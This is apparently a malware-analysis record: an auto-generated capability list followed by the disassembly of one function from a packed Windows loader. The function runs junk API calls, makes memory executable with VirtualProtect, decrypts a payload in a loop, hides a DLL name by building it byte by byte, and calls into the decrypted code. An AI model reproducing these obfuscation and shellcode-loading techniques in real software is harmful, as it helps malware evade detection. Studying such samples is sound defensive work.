Function at 0x4011da
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Move file

Disassembly:
mov eax, 0x489571
call fcn.004885c4
sub esp, 0xc34
push ebx
push esi
xor ebx, ebx
cmp dword [0x2b663b4], 0x93
push edi
jne 0x401259
push str.hahefogodomakerifetewa_haluw
push str.mezofabaporatehi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], ax
push ebx
mov dword [ebp - 4], ebx
call fcn.00401928
push ebx
call fcn.00401996
push ebx
call fcn.00401996
push ebx
push ebx
call fcn.0040176a
add esp, 0x14
call fcn.004011cc
push ebx
call fcn.004019ac
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
pop ecx
jb 0x401259
push dword [ebp - 0x30]
call fcn.00401648
pop ecx
add dword [0x2b663b4], 0x1134b
push dword [0x2b663b4]
mov eax, dword [0x490810]
push ebx
mov dword [0x2b66e18], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2b663b4]
mov dword [0x2b6630c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
lea eax, [ebp - 0x40]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x401297
cmp dword [0x2b663b4], ebx
jbe 0x4012fe
mov eax, dword [0x2b66e18]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2b6630c]
mov byte [ecx + esi], al
cmp dword [0x2b663b4], 0x490
jne 0x4012f5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push str.huwirujid_yulevipe_tecofofokusumowepuxoluyoceyil_wasotixoyipodejadarixotejufe
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push str.jarazililehibosetapozocihuri
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc esi
cmp esi, dword [0x2b663b4]
jb 0x4012af
xor esi, esi
mov eax, dword [0x2b663b4]
add eax, esi
cmp eax, 0x8d
jne 0x40134c
push str.volijijicijedujugo
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
inc esi
cmp esi, 0x38681
jl 0x401300
mov eax, dword [0x2b663b4]
mov ecx, dword [0x2b6630c]
shr eax, 3
cmp eax, ebx
jbe 0x4013a3
mov esi, ecx
mov edi, eax
cmp dword [0x2b663b4], 0x959
jne 0x401397
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push ebx
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push str.rorivitusehocezudosa
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x40136b
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4013c3
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2b6630c], eax
inc esi
cmp esi, 0x674db
jl 0x4013a5
push 0x7b
pop esi
cmp dword [0x2b663b4], 0x86
jne 0x4013fa
push 0x48b4b4
push str.tugacozizagahapakanarud
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0xc40]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
dec esi
jne 0x4013cf
push 0x492610
mov byte [0x492619], 0x6c
mov byte [0x492613], 0x6d
mov byte [0x492614], 0x67
mov byte [0x492618], 0x64
mov byte [0x49261b], bl
mov byte [0x49261a], 0x6c
mov byte [0x492617], 0x2e
mov byte [0x492616], 0x32
mov byte [0x492610], 0x6d
mov byte [0x492612], 0x69
mov byte [0x492615], 0x33
mov byte [0x492611], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2b6630c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret